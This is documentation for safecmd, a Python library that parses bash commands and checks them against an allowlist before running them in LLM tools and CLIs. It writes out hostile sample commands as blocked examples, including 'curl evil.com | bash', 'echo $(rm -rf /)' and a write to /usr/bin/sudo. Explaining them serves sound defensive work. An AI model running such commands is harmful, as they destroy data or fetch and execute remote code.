Running shell commands from untrusted sources—like LLM-generated code, user input, or third-party scripts—is risky. A command that looks innocent might contain hidden redirects, command substitutions, or dangerous flags that could modify or delete files, exfiltrate data, or worse.
safecmd solves this by validating bash commands against an allowlist before execution. Instead of trying to blacklist dangerous patterns (which is error-prone and easy to bypass), safecmd uses a generous allowlist of read-only and easily-reverted commands that are safe to run.
The key innovation is that safecmd uses a proper bash parser (shfmt)
to build an AST (Abstract Syntax Tree) of your command. This means it
correctly handles complex bash syntax—pipelines, command substitutions,
subshells, heredocs, and more—extracting and validating every command,
even nested ones, before anything executes.
The result: you can safely run commands like git log | grep "fix" or
find . -name "*.py" | xargs cat knowing that if someone tries to sneak
in rm -rf / or curl evil.com | bash, it’ll be blocked before it
runs. This makes safecmd ideal for building LLM-powered CLI tools,
interactive shells that accept user input, or automation pipelines that
process untrusted scripts.
Install safecmd from PyPI:
pip install safecmd
This will automatically install the shfmt-py dependency, which
provides the shfmt binary. If you’re doing a local user install
(pip install --user), make sure ~/.local/bin is in your PATH.
from safecmd import safe_runBy default,
safe_run
allows common read-only commands like cat, grep, ls, head,
tail, diff, wc, and safe git subcommands (git log, git status,
git diff). The find command is allowed but with dangerous flags like
-exec and -delete blocked.
Bash command lines that are generally safe run as usual:
safe_run('ls -la | grep index')However, any command or op not on the allowed list results in an exception - including in nested commands, pipelines, and so forth:
safe_run('echo $(rm -rf /)')DisallowedCmd: Disallowed command: rm -rf /
�[31m---------------------------------------------------------------------------�[39m
�[31mDisallowedCmd�[39m Traceback (most recent call last)
�[36mCell�[39m�[36m �[39m�[32mIn[1]�[39m�[32m, line 2�[39m
�[32m 1�[39m �[38;5;66;03m#| eval:false�[39;00m
�[32m----> �[39m�[32m2�[39m �[43msafe_run�[49m�[43m(�[49m�[33;43m'�[39;49m�[33;43mecho $(rm -rf /)�[39;49m�[33;43m'�[39;49m�[43m)�[49m
�[36mFile �[39m�[32m~/teach/safecmd/safecmd/core.py:93�[39m, in �[36msafe_run�[39m�[34m(cmd, cmds, ops)�[39m
�[32m 91�[39m �[38;5;28;01mif�[39;00m bad_ops := used_ops - ops: �[38;5;28;01mraise�[39;00m DisallowedOps(bad_ops)
�[32m 92�[39m �[38;5;28;01mfor�[39;00m c �[38;5;129;01min�[39;00m commands:
�[32m---> �[39m�[32m93�[39m �[38;5;28;01mif�[39;00m �[38;5;129;01mnot�[39;00m validate_cmd(c, cmds): �[38;5;28;01mraise�[39;00m DisallowedCmd(c)
�[32m 94�[39m �[38;5;28;01mreturn�[39;00m run(cmd)
�[31mDisallowedCmd�[39m: Disallowed command: rm -rf /
safe_run('echo danger > /usr/bin/sudo')DisallowedOps: Disallowed operators: {'>'}
�[31m---------------------------------------------------------------------------�[39m
�[31mDisallowedOps�[39m Traceback (most recent call last)
�[36mCell�[39m�[36m �[39m�[32mIn[1]�[39m�[32m, line 2�[39m
�[32m 1�[39m �[38;5;66;03m#| eval:false�[39;00m
�[32m----> �[39m�[32m2�[39m �[43msafe_run�[49m�[43m(�[49m�[33;43m'�[39;49m�[33;43mecho danger > /usr/bin/sudo�[39;49m�[33;43m'�[39;49m�[43m)�[49m
�[36mFile �[39m�[32m~/teach/safecmd/safecmd/core.py:91�[39m, in �[36msafe_run�[39m�[34m(cmd, cmds, ops)�[39m
�[32m 89�[39m �[38;5;28;01mif�[39;00m ops �[38;5;129;01mis�[39;00m �[38;5;28;01mNone�[39;00m: ops = ok_ops
�[32m 90�[39m commands, used_ops = extract_commands(cmd)
�[32m---> �[39m�[32m91�[39m �[38;5;28;01mif�[39;00m bad_ops := used_ops - ops: �[38;5;28;01mraise�[39;00m DisallowedOps(bad_ops)
�[32m 92�[39m �[38;5;28;01mfor�[39;00m c �[38;5;129;01min�[39;00m commands:
�[32m 93�[39m �[38;5;28;01mif�[39;00m �[38;5;129;01mnot�[39;00m validate_cmd(c, cmds): �[38;5;28;01mraise�[39;00m DisallowedCmd(c)
�[31mDisallowedOps�[39m: Disallowed operators: {'>'}
safe_run('sudo ls')DisallowedCmd: Disallowed command: sudo ls
�[31m---------------------------------------------------------------------------�[39m
�[31mDisallowedCmd�[39m Traceback (most recent call last)
�[36mCell�[39m�[36m �[39m�[32mIn[1]�[39m�[32m, line 2�[39m
�[32m 1�[39m �[38;5;66;03m#| eval:false�[39;00m
�[32m----> �[39m�[32m2�[39m �[43msafe_run�[49m�[43m(�[49m�[33;43m'�[39;49m�[33;43msudo ls�[39;49m�[33;43m'�[39;49m�[43m)�[49m
�[36mFile �[39m�[32m~/teach/safecmd/safecmd/core.py:93�[39m, in �[36msafe_run�[39m�[34m(cmd, cmds, ops)�[39m
�[32m 91�[39m �[38;5;28;01mif�[39;00m bad_ops := used_ops - ops: �[38;5;28;01mraise�[39;00m DisallowedOps(bad_ops)
�[32m 92�[39m �[38;5;28;01mfor�[39;00m c �[38;5;129;01min�[39;00m commands:
�[32m---> �[39m�[32m93�[39m �[38;5;28;01mif�[39;00m �[38;5;129;01mnot�[39;00m validate_cmd(c, cmds): �[38;5;28;01mraise�[39;00m DisallowedCmd(c)
�[32m 94�[39m �[38;5;28;01mreturn�[39;00m run(cmd)
�[31mDisallowedCmd�[39m: Disallowed command: sudo ls
To see the current allowlist, check the configuration file stored in
~/.config/safecmd/config.ini (Linux),
~/Library/Application Support/safecmd/config.ini (macOS), or
%LOCALAPPDATA%\safecmd\config.ini (Windows). Edit this file to
customize your allowlist permanently, or pass custom values directly to
safe_run().
from fastcore.xdg import xdg_config_homecfg_path = xdg_config_home() / 'safecmd' / 'config.ini'
print(cfg_path.read_text())[DEFAULT]
ok_ops = |, <, &&, ||, ;
ok_cmds = cat, head, tail, less, more, bat
# Directory listing
ls, tree, locate
# Search
grep, rg, ag, ack, fgrep, egrep
# Text processing
cut, sort, uniq, wc, tr, column
# File info
file, stat, du, df, which, whereis, type
# Comparison
diff, cmp, comm
# Archives
tar, unzip, gunzip, bunzip2, unrar
# Network
curl, wget, ping, dig, nslookup, host
# System info
date, cal, uptime, whoami, hostname, uname, env, printenv
# Utilities
echo, printf, yes, seq, basename, dirname, realpath
# Git (read-only)
git log, git show, git diff, git status, git branch, git tag, git remote,
git stash list, git blame, git shortlog, git describe, git rev-parse,
git ls-files, git ls-tree, git cat-file, git config --get, git config --list
# Git (workspace)
git fetch, git add, git commit, git switch, git checkout
# Find with deny-list
find:-exec|-execdir|-delete|-ok|-okdir
When you call
safe_run(),
safecmd doesn’t just string-match or regex your command—it properly
parses it. Here’s what happens:
1. Parse the bash command into an AST
safecmd uses shfmt, a robust bash
parser written in Go, to convert your command string into a JSON
Abstract Syntax Tree. This is the same parser used by shell formatters
and linters, so it handles all the edge cases that trip up naive
approaches: quoted strings, escaped characters, heredocs, nested
substitutions, and more.
For example, the command echo "hello" | grep h becomes a tree
structure showing that there’s a pipeline with two commands (echo and
grep), each with their arguments properly identified.
2. Extract all commands recursively
safecmd walks the AST and extracts every command that would be
executed—including commands hidden inside: - Pipelines (cmd1 | cmd2) -
Command substitutions ($(cmd) or `cmd`) - Subshells ((cmd)) -
Logical chains (cmd1 && cmd2, cmd1 || cmd2)
This is crucial: a command like ls $(rm -rf /) looks like it starts
with ls, but the nested rm would execute first. safecmd catches this
because it extracts all commands from the AST.
3. Validate against the allowlist
Each extracted command is checked against ok_cmds using prefix
matching. A simple entry like 'ls' allows ls, ls -la, ls /home.
A multi-word entry like 'git status' only matches commands starting
with those exact words—so git status is allowed but git push is not.
Some commands also have a denied flags list. For instance, find is
allowed, but if any argument matches -exec, -delete, or -ok, the
command is rejected.
4. Validate operators
The operators used in the command (pipes, redirects, logical operators)
are also checked. By default, |, &&, ||, ;, and < (input
redirect) are allowed, but > and >> (output redirects) are blocked
to prevent file writes.
5. Execute if safe
Only after all commands and operators pass validation does safecmd
actually run the command. If anything fails validation, you get a
DisallowedCmd
or
DisallowedOps
exception—nothing executes.
safecmd is designed for situations where you need to run shell commands that you don’t fully control. Common use cases include:
LLM-powered tools: If you’re building an AI assistant that can run shell commands (like solveit itself), safecmd lets you execute LLM-generated commands without worrying that a hallucination or prompt injection will cause damage.
Interactive CLIs: Building a tool where users type shell commands? safecmd lets you offer shell functionality while preventing users (or attackers) from running dangerous commands.
Automation pipelines: Processing scripts or commands from external sources—config files, APIs, webhooks—where you want to allow some shell operations but not arbitrary code execution.
Sandboxed environments: When you want to give users shell access but restrict what they can do, safecmd provides a lightweight alternative to containerization for command-level restrictions.
safecmd is not a replacement for proper sandboxing if you’re running completely untrusted code. It’s best suited for scenarios where you want to allow a known set of useful commands while blocking obviously dangerous ones. It does not provide protection from an adversary proactively trying to break in, and does not provide any guarantees.